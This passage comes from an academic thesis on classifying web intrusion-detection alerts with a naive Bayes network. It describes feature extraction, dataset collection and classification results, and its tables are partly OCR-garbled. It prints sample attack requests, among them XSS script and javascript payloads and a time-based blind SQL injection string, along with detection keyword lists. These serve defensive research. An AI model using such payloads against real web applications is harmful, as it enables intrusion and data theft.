suspicious. Also the occurrence of DOM objects and properties that are sometimes used in XSS
attacks are suspicious when present in request parameters, such as DOM objects Windows and
Location, or DOM object properties such as Cookie and Referrer.

An example with some of these features:

GET /index.php/Speciaal:Zoeken?
search=<META HTTP-EQUIV="Set-Cookie"
Content="USERID=&It;SCRIPT&gt;alert('XSS')&It;/SCRIPT&gt;">& go=OK HTTP/1.1

After decoding of HTML entity codes:
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GET /index.php/Speciaal:Zoeken?

search=<META HTTP-EQUIV="Set-Cookie"
Content="USERID<SCRIPT>alert('XSS'</SCRIPT>">&
go=0OK HTTP/1.1

Tautologies, SQL queries, SQL injection patterns

Specifically for SQL injection, features that are extracted are tautologies, SQL queries and specific
SQL injection patterns. Tautologies are used in SQL injection attacks to adapt the logic of a
WHERE clause in an SQL query. SQL queries are also registered and the use of keywords that are
typical for SQL injection attacks, e.g. TABLESPACE, granted_role, Postgress pg_-structures, or
stored procedure sp_-structures. For an operational implementation these features can be
categorized to the type of database used. If the database type is known it can be configured for
the classification to make query detection more precise. SQL injection patterns are typical
patterns for these attacks such as the use of SQL comments. The number of occurrences for the
different features in the request data are extracted after thoroughly decoding and de-obfuscating
the data first.

< Hypertext Transfer Protocol
P POST /index.php?title=Speciaal:Aanmelden&action=submitlogin&type=login&returnto=Speciaal:Zoeken HTTP/1.1\r\n

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0\r\n

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;q=0.8\r\n

Accept-Language: en-US,en;q=0.5\r\n

Proxy-Connection: keep-alive\r\n

Referer: http://wiki.seclab.nl/index.php?title=Speciaal:Aanmelden&returnto=Speciaal:Zoeken\r\n

Cookie: wikidb_session=9b8cfabede85Sdaa7b2a203d3c3f3c643\r\n

Content-Type: application/x-www-form-urlencoded\r\n

Content-length: 158\r\n

Host: wiki.seclab.nl\r\n

\r\n

wpName=aap&wpPassword=%27%3B+1f+not%28substring%s28%28select+%40%40vers1on%29%2C25%2C1%2%
H%3C%3E+5%2Hwaltfor+delay+%270%3A0%3A2%27+- - &wplLoglnattempt=Aanmelden

-

Figure. SQL injection attempt

In this request the POST data decodes to the following data, containing an SQL injection attempt:

wpName=aap&wpPassword="; if not(substring((select @ @version),25,1) <> 5)
waitfor delay '0:0:2' --&wpLoginattempt=Aanmelden

Non-printable characters

Non-printable characters where mainly included as a possible indication of Buffer Overflow
attacks and exploit code. However, non-printable characters can also be included as encoded
characters, such as as an html-entity code in the example below.

v Hypertext Transfer Protocol
P GET /index.php/Speciaal:Zoeken?search=%3CIMG+SRC%3D%22+%26%2314%3B++] avascript%3Aalert%28%27XSS%27%29%36%22%3E6g0=0K HTTP/1.1\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Proxy-Connection: keep-alive\r\n

Figure. Use of a non-printable html entity encoded character.

Which decodes to the following parameter value for the search parameter, showing the html-
entity code &#14 for a non-printable character, which is the decimal ASCII character 14, the
shift-out control character.

?search=<IMG SRC=" &#14; javascript:alert('XSS');">

For this feature, the number of non-printable characters are counted in the request data.
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Path Traversals

For Path Traversals data is analysed for different dot-dot-slash variations. The number of dot-
dot-slash patterns or variations are counted. To differentiate short or absolute Path Traversals
from other requests that might also contain the same patterns, a relative count is used, the
percentage of the length of the value that is made up of the defined Path Traversal patterns.

IP host value or Incorrect host value

The Host header-value sometimes contains the IP-address of the website in stead of the domain
name. This is not incorrect, but it is abnormal, because in normal use a webserver request uses
the domain name of the webserver. The Host value can also be incorrect, neither the correct
domain name nor a correct ip-address is then used as the host-value. Pen-testing tools and
scanners, but also bots, sometimes use incorrect values. This feature’s value can be True or False.

v Hypertext Transfer Protocol
D [truncated] POST /%70%68%70%70%61%74%68/%70%68%707%2
Host: 88.159.9.131\r\n
Content-Type: application/x-www-form-urlencoded\r\n
D Content-Length: 64\r\n
\r\n

Figure. Example where the ip-address of the website is used as host value

5.2.2. Expected feature contribution to attack classes

In the data set, these 24 features will be analysed and used to train and operate a Bayesian
classifier with. The expectation is that most attributes have larger contribution to one attack
class, and that the contribution to other classes will be either absent or the frequency or amount
of occurrence will be much lower. The table below gives an overview of the expected
contribution of all features to all attack classes.

Attack class: XSS SQL Path Recon- Other
Feature: injection | Traversal | naissance
URL length + +/- - - +/-
Maximum parameter length + +/- - - +/-
HTTP version - - - +/- R
HTTP response status code 2XX 2XX 2xX [ 4xx 2xX / 3Xx all
HTTP request method GET/POST | GET/POST | GET/POST all GET/POST
No CRLF ending - - - +/- -
Extra URL encodings + +/- + - +/-
Double encodings + +/- + - -
Unicode +/- - +/- - +/-
Base64 Encodings + - - - +/-
Hexcodes +/- +/- - - +/-
Malicious HTML tags + - - - -
Suspicious XSS patterns + - - - -
Html entity codes + - - - -
Malicious use of Javascript methods + - - - -
Malicious use of event handlers + - - - -
Malicious use of DOM objects + - - - -
Tautologies - + - - -
SQL queries + - - -
SQL injection patterns - + - - -
Non-printable characters - - - +/- +/-
Path Traversals - + - +
IP address host value - - - + +/-
Wrong host - - - + +/-

Table. Expected contribution of the selected features to the defined attack classes
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6. Data Collection

To be able to collect and analyse attack features, a dataset with labelled anomalies must be
gathered from an anomaly based IDS.

6.1. System Setup

In the setup for the experiment the anomaly based IDS SilentDefense is used to collect anomaly
alerts. SilentDefense was set up to guard the webserver hosting http://wiki.seclab.nl. During a
training period the IDS learned to distinguish anomalies from normal traffic. After the training
period was over, SilentDefense went into operation, analysing all requests to the website in real-
time. Whenever SilentDefense came up with an alert, it was analysed what attack class the alert
was in, labelling the alert with that class manually. Attacks where received from real attackers,
but also from test patterns using the penetration tool ZAP (Zed Attack Proxy) from OWASP
(OWASP, 2012). After the test period, the labelled attack data is exported from the IDS and the
http request and response data is parsed from the binary network captures. From this parsed
data the attack features are extracted and written to a data format called arff that is used in the
weka workbench (Hall, Frank, Holmes, Pfahringer, Reutemann, & Witten, 2009) for training and
testing a Bayesian classifier.

Web-application

()

Firewall

“(

Alert Database SilentDefense IDS

Intruder

Tester

Figure. System Setup for the experiment with the SilentDefense IDS, the monitored Web application,
‘White hat’ testing, and real-world ‘black hat’ intrusions received from the Internet. Manually labelled
alerts are stored in the Alert Database with the alert’s event data.

6.2. Datasets

To be able to analyse the effectiveness of the selected features two datasets are collected. The
datasets are obtained from SilentDefense IDS, monitoring a live webserver running the website
wiki.seclab.nl. a good dataset is required. The goal was to obtain a dataset from running the
SilentDefense IDS on an operational website. This selected webserver for the experiment was the
www.fontys.nl website, the #837 website in the Netherlands according to “Alexa, the Web
Information Company” (2012). However, the website was being migrated to a new backend
system during the data collection phase of the experiment, and monitoring the website during
this period unfortunately was not permitted. Therefore an alternative website was selected,
wiki.seclab.nl, which was under my own administrative control, but had a very light load. The
data set obtained during the test period eventually had about 200 alerts. This was too small for a
valid experiment so the dataset had to be extended with realistic data. This was done with attack
patterns from security incidents and test patterns. The test patterns were added to request-
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parameters, header and post parameters with OWASP’s penetration testing tool ZAP (Zed Attack
Proxy). Attack patterns were used from google’s Fuzzdb project (Muntner, 2012), an attack and
discovery patterns database for application fuzz testing. Also attack patterns from the
ModSecurity SQL injection challenge (“SQL Injection Challenge: Lessons Learned”, 2011) were
used.

During the test period it also appeared that no Buffer Overflow alerts were received. Even with
the help of the Metasploit framework and vulnerability scanners, only a couple of realistic events
could be generated. Eventually the sample size for this class was too low to be able to include this
class in the experiment. The Buffer Overflow attack class was therefore left out of the further
experiment.

The resulting dataset had 1440 alerts, manually classified into attack classes. The number of
alerts per attack class is listed in the table below.

Attack class #alerts
XSS 344
SQLi 503
Path Traversal 466
Reconnaissance 57
Other 70

Total: 1440

Table. Number of events per attack class in dataset 1

The ‘other’ class contains the rest of the attacks, consisting of alerts on Remote File Inclusion
(45), Password attacks (4), Command Injection (3), targeted probes for vulnerabilities or
infections (6), and unknown attacks (12) where it could not be decided in which category the
attack should be placed.

For further testing, a second dataset was collected from attacks during a later timeframe and
tests with different attack patterns from OWASP’s Xenotix XSS Exploit Framework (OWASP
2013), SQL Power Injector (Larouche, 2007) and Uniscan (Rocha, 2012).

Attack class #alerts
XSS 1246
SQLi 181
Path Traversal 215
Reconnaissance 37
Other 12

Total: 1691

Table. Number of events per attack class in dataset 2

The dataset has a rather low percentage of real-world attacks, only 49 malicious attempts were
collected during the second, shorter period of collecting attack samples for the second dataset.
The samples collected where in the classes Reconnaissance and Other attacks only. All alerts in
other attack classes were generated by test patterns from the mentioned test tools.

6.3. Feature Extraction

The collected datasets can be used for training a Bayesian network and for testing. From the
collected data, the selected features must be extracted by parsing the HTTP messages and adding
the attack labels that where manually added by an IDS operator. Parsing the HTTP messages
starts with parsing the message for message-type, HTTP-headers, query-parameters and
message content, according to the HTTP standard as defined in RFC2616 (Fielding, 1999). From
these data fields the attack features can be extracted and written to a file in arff format. This file
can then be used to analyse the features with a Bayesian classifier in the Weka data mining
software (Hall, Frank, Holmes, Pfahringer, Reutemann, & Witten, 2009).
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Figure. Collecting alerts and extracting features

6.3.1. Parsing http messages

Alerts are triggered by anomalies in HTTP requests. As defined in RFC2068 HTTP is a
request/response protocol. To be able to parse all details correctly the protocol standard must be
studied in detail. A client sends a request to the server in the form of a request method, URI, and
protocol version, followed by a MIME-like message containing request modifiers, client
information, and possible body content over a connection with a server. The response contains a
status, meta-information like date/timestamps, and possibly the response body. Examples of an
HTTP request and a response is given in the figures below.

GET http://www.seclab.nl/ HTTP/1.1

Host: www.seclab.nl

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,* /*;q=0.8

Accept-Language: en-US,en;q=0.5

Proxy-Connection: keep-alive

Figure. Example HTTP-request

HTTP/1.1 200 OK

Date: Sat, 30 Mar 2013 08:12:25 GMT

Server: Apache

Last-Modified: Wed, 19 Sep 2007 19:23:18 GMT
ETag: "2916c9-136-f84f9580"

Accept-Ranges: bytes

Content-Length: 310

Content-Type: text/html; charset=UTF-8

<html>

<head>

<title>Fontys Security lab</title>
</head>

<body>

<h1>Security Lab</h1>

<h2>Fontys Hogeschool ICT</h2>

<p>Hier komt binnenkort de website van het Fontys security lab.</p>

<p>Bekijk voor meer informatie over onze opleidingen <a
href="http://www.fontys.nl/">www.fontys.nl</a>.</p>

</body>

</html>

Figure. Example HTTP-response
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The HTTP-Request

An HTTP-request message from a client to a server consists of a request-line, header(s) and the
request-body. In between these parts are a carriage return (CR) and a line feed (LF), hexadecimal
ascii-values respectively 0d and 0Oa, here and in the RFC standard noted as CRLF.

Request = request-line CRLF
headers CRLF

CRLF

body

The request-line holds the request method to a certain resource, e.g.:

‘GET http://wiki.seclab.nl/index.php/Hoofdpagina HTTP/1.1’

so the format of the request-line is as follows:
Request-Line = Method SP Request-URI SP HTTP-Version CRLF

The HTTP-version string normally is ‘HTTP/1.1’ because that has been the version since 1999.
The only valid alternative value is ‘HTTP/1.0’.

In the 1.1 version, 8 standard request methods are available:
- GET
- POST
- HEAD
- OPTIONS
- PUT
-  DELETE
- TRACE
- CONNECT

Use of other methods is possible, e.g. Webdav, an extension of HTTP, defines 7 extra methods,
and RFC5789 defines the PATCH method as an alternative for the PUT method, to modify an
existing HTTP resource.

The Request-URI, or Uniform Resource Identifier identifies the resource upon which to apply the
request. The URI can be in one of four options:

Request-URI = "*"[ absoluteURI | abs_path | authority

The first and last options for the request-URI are special options:
. R
means that the request does not apply to a particular resource, but to the server itself,
e.g.: OPTIONS *HTTP/1.1
* authority
is only used by the CONNECT method and is a hostname and portnumber, e.g.: CONNECT
server.example.com:80 HTTP/1.1

The most common form is the abs_path form to identify a resource on a server. The abs_path
then is the absolute path to the resource on the server. The network location of the server is then
given in the Host header field. An example:

GET /pub/WWW/TheProject. html HTTP/1.1
Host: www.w3.0org

The absoluteURI is required when the request is made to a proxy. The URI must then be a
complete location of the resource, as in this example:

GET HTTP://www.w3.org/pub/WWW/TheProject. html HTTP/1.1

A complete HTTP url, with host and possibly port-number is then in the following format:
"HTTP:""//" host [ ":" port ] [ abs_path [ "?" query ]]
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If the port is left out, the default HTTP-port 80 is assumed.
The host-part in a URI is case-insensitive and characters can be put in a %HEX encoding. The
following three URI’s are therefore equivalent:

HTTP://abc.com:80/~smith/home.html

HTTP://ABC.com/%7Esmith/home.html

HTTP://ABC.com:/%7esmith/home.html

The query string that follows after the “?” contains data that is passed to web applications such as
CGI programs, or PHP scripts, for example:
HTTP://wiki.seclab.nl/index.php?12436

With the main use of query strings, in HTML forms, the query string is composed of one or a
series of field-value pairs, separated by “&”, for example as follows:
HTTP://wiki.seclab.nl/index.php?field1=valuel&field2=v2&field3=v3

Request headers

The request line in an http-request can be followed by one or more headers. Standard headers
are defined for requests and responses, but non-standard headers are also allowed and
commonly used, e.g. X-Requested-with and X-XSS-Protection. Non-standard headers were
conventionally prefixed with “X-“, but this was deprecated by rfc 6648, Saint-Andre (2012).
Headers can also be defined in other standards. Well-known examples are the Set-Cookie and
Cookie header fields, currently defined by the standard rfc 6265, Barth (2011)

Standard headers can be of different types. There are general header fields, request header fields
and entity header fields.

General header fields only apply to the message sent, and are used in both request and response
requests. Examples of general header fields are e.g. cache control, date and transfer-encoding.
Request header fields are only used in a request, and, as stated in the HTTP/1.1 standard rfc
2616 (Fielding, 1999), “allow the client to pass additional information about the request, and
about the client itself, to the server” (p. 37). Examples of request headers are Host, User-Agent
and Accept-Encoding.

Entity header fields contain information about the resource carried in the message, or in the
body of the message. The body is referred to as entity in the standard. Examples of entity headers
are Content-Encoding, Content-Type, Expires, and Last-Modified.

If a request or response has multiple headers, separation of headers is through standard ending
with a carriage return (CR) and a line feed (LF). These are the hexadecimal ascii-values
respectively 0d and 0Og, or as escape sequences \rand \n.

The end of the header fields is indicated by an empty line, so only the CRLF line-ending. This is
then possibly followed by a message-body.

A header field consists of a header name, followed by a colon (“:”) and the field value. Field names
are case-insensitive and may be preceded by one or more white spaces or horizontal tabs. A
single white space is preferred by the standard. Header fields can be extended over multiple
lines.

Request body

The request body is referred to as entity, or entity-body. The body is a sequence of bytes, an octet
string, with the data type and format specified in the header fields Content-Type and Content-
Encoding. The length of the body can be specified in the Content-Length header field, but other
options are possible as defined in paragraph 4.4 in the HTTP/1.1 standard rfc 2616 (p.32).

Typical contents of the request body is POST data, the data that is sent with a POST-request.

The HTTP-Response
A response message is the server’s answer to an HTTP-request. A response contains a status-line,
and possibly header(s) and a message-body. Characteristics of headers and message-body are the
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same as described with the request-characteristics, with the response body typically being the
requested web page.

The status-line contains the HTTP-version, a Status-Code and a Reason-Phrase. The format is as
follows:

Status-Line = HTTP-Version SP Status-Code SP Reason-Phrase CRLF

The status-code is a 3-digit result code with five possible values for the first digit:

1xx Informational, 2xx Success, 3xx Redirection, 4xx Client Error, 5xx Server Error. The HTTP
standard contains recommended values, e.g. 200 OK. The Reason-Phrase is a textual explanation
of the result code and is intended for human users.

Next to the use of general-headers and entity-headers in a HTTP-response, nine specific response
headers are defined in the HTTP/1.1 standard, e.g. ETag, Retry-After, and Server.

Parsing alert’s network event data

The event data from the alerts is in tcpdump libpcap format (Tcpdump, 2012). To get the HTTP
message parts, a C-program was written, based on a libpcap demonstration sniffer program
sniffex from tcpdump (Carstens, 2002). The source code of the HTTP parser is added to the
report in Appendix A. The program reads all pcap data, determines if it is an HTTP message, and
parses the request/response line, headers and the message body. This data is written to a file for
further handling in the following self-defined pars-format:

alertid: SP <alertid>

type: SP Request|Response

Requestline [ responseline: SP <data>

* parameter: SP <querystringparameters>
* (header: SP <data>)

nobody/(body: SP <body_filename>)
attackclass: SP <attackclassname>

It was chosen not to write the parsed data to a database but to text files, because it is only an
intermediate format, input for further analysis. Text files can easily be transferred to and read on
different types of computer systems and by programming languages for import and further
analysis without having to install or configure any tooling. Request and Response message-body
data, which can be binairy, is written to respectively .rqbd and .rsbd files.

6.3.2. Feature extraction process

In the feature extraction process, first the standard HTTP characteristics are extracted. These
standard characteristics are the used HTTP request method, HTTP version, request URL length,
invalid request ending, returned HTTP response status code. Also an incorrect request ending,
where no CRLF is found at the end of a request is registered as a feature for malformed requests
uncompliant to the HTTP standard. The steps in the feature extraction process and the outcomes
are also displayed in the figure below.

The further process of feature extraction is done per parameter (query parameters, headers,
POST data parameters). Steps taken are to decode data first, counting all encoding features. After
decoding, the data is cleaned from possible extra obfuscations like tabs and newlines. For most of
the remaining feature extraction the cleaned parameter data is used. From this cleaned data all
other features, such as the maximum parameter length, number of Path Traversals, etcetera, are
extracted.
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Extract HTTP Decode/de-
characteristic obfuscate

HTTP version
HTTP request method
HTTP response code
URL length
Max parameter length
Host value is [P-address

Unnecessary URL encodings
Double Encodings

Extract other
attack features

Malicious Tags
Suspicious XSS patterns
HTML entity codes
Malicious methods
Malicious eventhandlers
Malicious DOM objects
Tautologies
SQL queries
SQL injection patterns

Unicode representations

No CRLF ending Base64 encoding Path Traversals
Hexcodes

Host address is incorrect Non printable characters

Figure. Process of feature extraction from dataset

6.3.3. Bayesian analysis

The extracted features are written in a text file according to the Attribute Relation File Format
ARFF (University of Waikato, 2002). An ARFF file is an ASCII text file that describes a list of
instances sharing a set of attributes. The relation and attributes are described in the header,
followed by the data. Part of the ARFF file for dataset 1 is displayed in the figure below.

% Title: attack features dataset1

%

% Creator: Casper Schellekens

% Creation Date: Fri October 25,2013 13:04:34
%

@RELATION all_attack_classes

@ATTRIBUTE urllength numeric
@ATTRIBUTE urlencodingsextra numeric
@ATTRIBUTE doubleencodings numeric
@ATTRIBUTE unicode numeric
@ATTRIBUTE htmlentitycodes numeric
@ATTRIBUTE base64encodings numeric
@ATTRIBUTE hexcodes numeric
@ATTRIBUTE maxparamlength numeric
@ATTRIBUTE maltags numeric
@ATTRIBUTE susppatterns numeric
@ATTRIBUTE malmethods numeric
@ATTRIBUTE maleventhandlers numeric
@ATTRIBUTE malobjects numeric
@ATTRIBUTE httpversion {1.0, 1.1, other}
@ATTRIBUTE statuscode numeric
@ATTRIBUTE requestmethod {GET, POST, OPTIONS, HEAD, PUT, DELETE, TRACE, CONNECT, PATCH,
WebDAV, Invalid}

@ATTRIBUTE tautologies numeric
@ATTRIBUTE sqlqueries numeric
@ATTRIBUTE sqlipatterns numeric
@ATTRIBUTE nonprintable numeric
@ATTRIBUTE pathtraversals numeric
@ATTRIBUTE iphost {true, false}
@ATTRIBUTE wronghost {true, false}
@ATTRIBUTE nocrlfend {true, false}
@ATTRIBUTE attackclass {xss, sqli, pathtraversal, scan, other}
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@DATA

86,4,0,0,0,0,0,93,0,0,0,0,1,1.1,200,P0ST,0,0,0,0,0,false,false,false,sqli
87,121,11,0,0,0,0,72,22,4,0,0,70,1.1,200,P0ST,0,0,0,0,0,false,false,false,xss
74,1,6,0,0,0,0,93,0,0,0,0,0,1.1,200,GET,0,0,0,0,70,false,false,false,pathtraversal
224,0,0,0,52,0,0,184,2,2,0,0,0,1.1,200,GET,0,0,0,0,0,false,false,false,xss
90,4,0,0,0,0,0,93,0,0,0,0,1,1.1,200,P0ST,3,0,5,0,0,false,false,false,sqli

Figure. ARFF data file for dataset 1 (only five instances out of 1440 displayed)

Weka is a collection of machine learning methods for data mining tasks (Hall, Frank, Holmes,
Pfahringer, Reutemann, & Witten, I., 2009). The Weka workbench also supports Bayes Network
learning using various search algorithms and estimators (Bouckaert, 2004). The search
algorithm, to find probabilistic dependency relations, is not very relevant because a naive Bayes
network is used, where all nodes have one and the same parent, the node for the attack class.

attackclass

maxparamlength MEUEEH susppatterns malmethods aleventhandler

Figure. Naive Bayes Network structure where all nodes are related to one and the same parent, the
attack class in this case.

For building the probability tables for the nodes in the Naive Bayesian Network, the
SimpleEstimator is available. This estimator uses an initial count which eventually is set to 0.01
for the best results in the experiment. The initial count prevents having zero probabilities which
would wipe out all information from other feature values.
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7. Results & Discussion

7.1. DATASET1

With the help of the Weka workbench a Naive Bayesian network is built. With the tooling it is
possible to go through learning mode to set the probability distribution tables for the nodes in
the Bayesian network, and test with cross-validation on the obtained dataset of 1440 alerts.
Building a Bayesian network with all features gives an overall weighted TP rate of 96.94%, and a
weighted average FP rate per attack class of 0.9%. In the table below the results per attack class
are also listed.

Attack class TP rate FP rate
XSS 95.3% 0.4%
SQL injection 99.4% 1.1%
Path Traversal 99.6% 0.3%
Reconnaissance 86% 1%
Other 78.6% 0.9%
weighted average 96.94% 0.9%

Table. TP/FP rates for attack classes

It shows that the well-defined attack classes can be recognized very well, with XSS a bit harder to
detect, but XSS still has a TP rate of 95.3%. The somewhat less defined class of reconnaissance
scores 86%. The remaining or ‘other’ attacks are undefined and are therefore less recognizable
with a TP rate of 78.6%. FP rates per class vary from 0.3% to 1.1%. Note that the total FP rate in
this experiment is: 100% - TP rate= 3.06%, because there is no larger class of non-malicious
requests as included in FP-rate calculations in intrusion detection systems.

Before going into more detail on the results and the Bayesian network, the contribution of the
separate features is investigated in the next paragraph.

7.2.  Feature selection

Not all features will contribute evenly to the achieved results. Features can give zero gain to the
results or features could even influence the results in a negative way. For the achieved results we
can show the contribution to results, also called the gain to the results. We do so by removing an
attribute and calculate the differences in result without that attribute. The gain to the TP rate is
listed below for all attributes. The FP rate was influenced with a maximum of 0.1%.

Attribute TP rate Gain to TP
without the rate
attribute

Max parameter length 94.58% 2.09%

Path Traversals 96.11% 0.83%

Tautologies 96.11% 0.83%

Malicious tags 96.39% 0.55%

Suspicious patterns 96.39% 0.55%

SQL queries 96.53% 0.41%

Extra URL encodings 96.60% 0.34%

Malicious methods 96.67% 0.27%

Malicious event handlers 96.74% 0.20%

URL length 96.81% 0.13%

Unicode 96.88% 0.06%

Hexcodes 96.88% 0.06%

Status code response 96.88% 0.06%

HTTP version 96.88% 0.06%

Double encodings 96.94% 0%

SQL injection patterns 96.94% 0%

Html entity codes 96.94% 0%
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HTTP request method 96.94% 0%
Wrong host 96.94% 0%
Base64 Encodings 96.94% 0%
Non-printable characters 96.94% 0%
IP address host value 96.94% 0%
No CRLF ending 96.94% 0%
Malicious objects 97.01% -0.07%

Table. Attribute gain of all attributes separately removed from the network

Some results are unexpected. For example, the contribution of the feature ‘SQL injection patterns’
is zero. This does not necessarily mean that this feature is not discriminating for the class of SQL
Injection, but that the feature is covered by other features already. That the feature is
discriminating for the class of SQL injection can be seen in the probability distribution table for
this feature.

attackclass '(-inf-0.5)' '(0.5-inf)'
0.968 0.032
0.781 0.219
1 0
1 0
1 0

Table. Probability distribution table for the feature ‘SQL injection patterns’

Some attributes do not contribute at all to the results. The attributes with no positive
contribution can be removed from the model, resulting in 14 features that give the following,
slightly changed results:

Attack class TP rate FP rate
XSS 95.1% 0.3%
SQL injection 99.6% 1.4%
Path Traversal 99.8% 0.5%
Reconnaissance | 87.7% 1.2%
Other 75.7% 0.5%
Overall 96.9% 0.8%

Table. TP/FP rates for attack classes

7.3. Bayesian network

The resulting Bayesian network classifier is displayed below. Each node contributes to the Attack
class, independently of other nodes.

attackclass

maleventhandlers malmeznods susppatterns [EUETH

s N\ N

hexcodes unicode statuscode tautologies httpversion

maxparamlength

sqlqueries pathtraversals urllength rlencodingsextra

Figure. Resulting Bayesian Network
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Each node has a probability distribution table with the learned probabilities. Below the
probability distribution tables for the nodes in the Bayesian network are given.

Malicious Event handlers: Malicious Javascript methods:  Suspicious XSS patterns:
attackclass '(-inf-0... '(0.5-inf)' attackclass '(=inf-0.5)' |'(0.5-inf)' attackclass '(-inf-0.5)'  '(0.5-inf)'
Xss 0.965  0.035 Xss 0.349 0.651 0.206 0.794
| sqli | 1 0 [ sqli | 1 0 1 0
pathtraversal 1 0 pathtraversal 1 0| 0.998 0.002
| scan | 1 0 [ scan | 1 0 1 0
other 1 0 other 0.986 0.014 0.957 0.043
Malicious html tags: Unicode: Hexcodes:
attackclass '(-inf-0.5)' |'(0.5-inf)' attackclass '(-inf-0.5)' |'(0.5-inf)' attackclass '(-inf-3])' |'(3-inf)’
Xss 0.253  0.747 Xss 1 0 Xss 1 0
| sali | 1 0 [T 0996 0.004 PO 0994 0.006
pathtraversal 1 0 pathtraversal 0.818 0.182 pathtraversal ~ 0.942  0.058
L san ! 0 [scan | 1 0 " scan Y 0
other 1 0 other 1 0 other 1 0
Maximum parameter length:
attackclass '(-inf-28)' '(28-45.5)' |'(45.5-9... |'(90.5-9... |'(93.5-1... '(100.5-... |'(139.5-... ['(191.5-... '(204-23...'(232.5-... '(235.5-... '(265.5-... |'(282.5-i...
XSS 0 0 0.006 0.5 0.044 0.145 0.154 0.012 0.044 0 0.035 0.012 0.049
| sqli | 0 0.141 0.004 0.57 0.008 0.101 0.01 0.127 0 0.032 0 0.006 0
pathtraversal 0 0 0 0.667 0.036 0.137 0.043 0.011 0.017 0 0.017 0 0.071
0.578 0 0.175 0.018 0.035 0.14 0.018 0 0 0 0 0 0.035
other 0.1 0.014 0.456 0 0.285 0.029 0.043 0 0 0 0 0 0.071
SQL tautologies: SQL queries: Path Traversals:
attackclass '(=inf-0.5]' ["(0.5-1.5]' ['(1.5-inf)’ attackclass '(-inf-0.5)'  '(0.5-inf)" attackclass '(-inf-0.5)' ['(0.5-115)' |'(11.5-inf)’
XSS 0.942 0.052 0.006 XSS 0.988 0.012 XSS 0.962 0.038 0
0.258 0.272 0.469 0.543 0.457| [T 0.992 0.008 0
pathtraversal 1 0 0| |pathtraversal 1 0| |pathtraversal 0.002 0.024 0.974
1 0 0 1 I scan 0.947 0.035 0.018
1 0 0 1 of| other 0.9 0.057 0.043
Urllength:
attackclass '(-inf-44]'  |'(44-85.5)' | '(85.5-86.5)' |'(86.5-89.5)' |'(89.5-91.5)' '(91.5-179.5)' |'(179.5-652]' |'(652-inf)’
XsS 0.003 0.052 0.009 0.02 0.238 0.398 0.273 0.006
[ sgli | 0.004 0.247 0.163 0.028 0.463 0.089 0.006 0
pathtraversal 0 0.3 0.006 0.041 0.004 0.491 0.114 0.043
0.981 0 0 0 0.018 0 0 0
other 0.286 0.114 0 0.014 0.029 0.243 0.314 0
extra URL encodings
attackclass '(-inf-0.5)' '(0.5-1.5) |'(15-5.5)' '(5.5-9.5)' ['(9.5-10.5)' |'(10.5-13.5)' |'(13.5-14.5)' '(14.5-137)' |'(137-inf)’
Xss 0.227 0 0.102 0.282 0.093 0.148 0.012 0.134 0.003
[ sqli | 0.223 0.078 0.358 0.097 0 0.074 0.159 0.012 0
pathtraversal 0.006 0.551 0.208 0.187 0.006 0.013 0.002 0.009 0.017
[ scan | 0.999 0 0 0 0 0 0 0 0
other 0.685 0 0.285 0.014 0 0 0 0.014 0
HTTP version: HTTP status response code:
attackclass 1.0 1.1 other attackclass '(-inf-250.5)' '(250.5-403.... '(403.5-inf)'
XSS 0 1 0 XSS 0.997 0 0.003
[ sali | 0 1 of |l 0972 o o002
pathtraversal 0 1 0| | pathtraversal 1 0 0
0.368  0.631 0 0.123 0.421 0.456
other 0.114 0.885 0 other 0.5 0.057 0.443

Figure. Probability Distribution Tables for Bayesian network

7.4. Fine-tuning the network

The dataset is made up of real-world attacks and test vectors to increase the dataset. The
percentage of test vectors is large, over 85% of the dataset used for learning the Bayesian
network. Because of this the distribution of the different attack classes is not realistic, because
separate test-vector sets for the different attack classes where obtained regardless of real-world
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attack rates. Also the distribution of feature values might have some unnatural distributions
because of the test vectors used.

7.4.1. Attack class distribution

In the experimental set-up used, the monitored web application was one with a light load. The
real world attacks were used as test data but most contents of the first dataset came from test
vectors. Therefore, the distribution of the different attack frequencies in the datasets is not very
realistic. But this rate does influence the outcome of the probability calculations in the Bayesian
network for new events. The distribution of dataset 1 is displayed in the table below.

XSS sqli pathtraversal scan other
0.239 0.349 0.324 0.04 0.049

Figure. Attack class distribution

To get a more realistic distribution, a recent overview of web application attacks is needed. This
overview is found in Imperva’s latest Web Application Attack report (Imperva, 2013). This
annual report is based on monitoring and analysing internet traffic to 70 web applications during
a period of six months. The results for the category of web applications other then retail
applications, which the web application used in the experiment can be classified in, are displayed
below. The categories used do resemble the attack classes defined for the experiment, but no
reconnaissance attack class is used.

Attack class Attack rate
XSS 14%
SQL injection 27%
Path Traversal 36%
Combined remaining results 23%

Table. Imperva’s attack type ratio’s over first half of 2013

Without any further information on Reconnaissance and other type of attacks a safe 50/50 split
is used for the remaining attacks, based on the experienced real world attacks in the experiment.
This leads to the following attack class distribution that can be used as a more realistic
distribution in the Bayesian network.

XSS sqli pathtraver... | scan other
0.14 0.27 0.36 0.115 0.115

Figure. Adapted attack class distribution

7.4.2. Feature value distribution and overfitting

Even though the dataset consists of over 1400 alerts, frequencies of parameter value ranges can
have an unnatural distribution because of the large part of test-vectors used. Especially when a
learned probability of a value range is almost zero while not realistically explainable, the
probability table should be adjusted manually to prevent new alerts (outside the learning
dataset) from being misclassified. An example can be found in the network node for maximum
parameter length. With 13 separate ranges of lengths the training algorithm has come up with a
very precise probability distribution that (over)fits the training data very well, but is not
necessarily very fit for the real world.

attackclass '(-inf-28)' '(28-45.5)' |'(45.5-9... |'(90.5-9... ['(93.5-1... ['(100.5-... |'(139.5~-... |'(191.5-... |'(204-23.../'(232.5~... '(235.5-... '(265.5-... |'(282.5~i...
XSS 0 0 0.006 0.5 0.044 0.145 0.154 0.012 0.044 0 0.035 0.012 0.049

0 0.141 0.004 0.57 0.008 0.101 0.01 0.127 0 0.032 0 0.006 0

pathtraversal 0 0 0 0.667 0.036 0.137 0.043 0.011 0.017 0 0.017 0 0.071
0.578 0 0.175 0.018 0.035 0.14 0.018 0 0 0 0 0 0.035

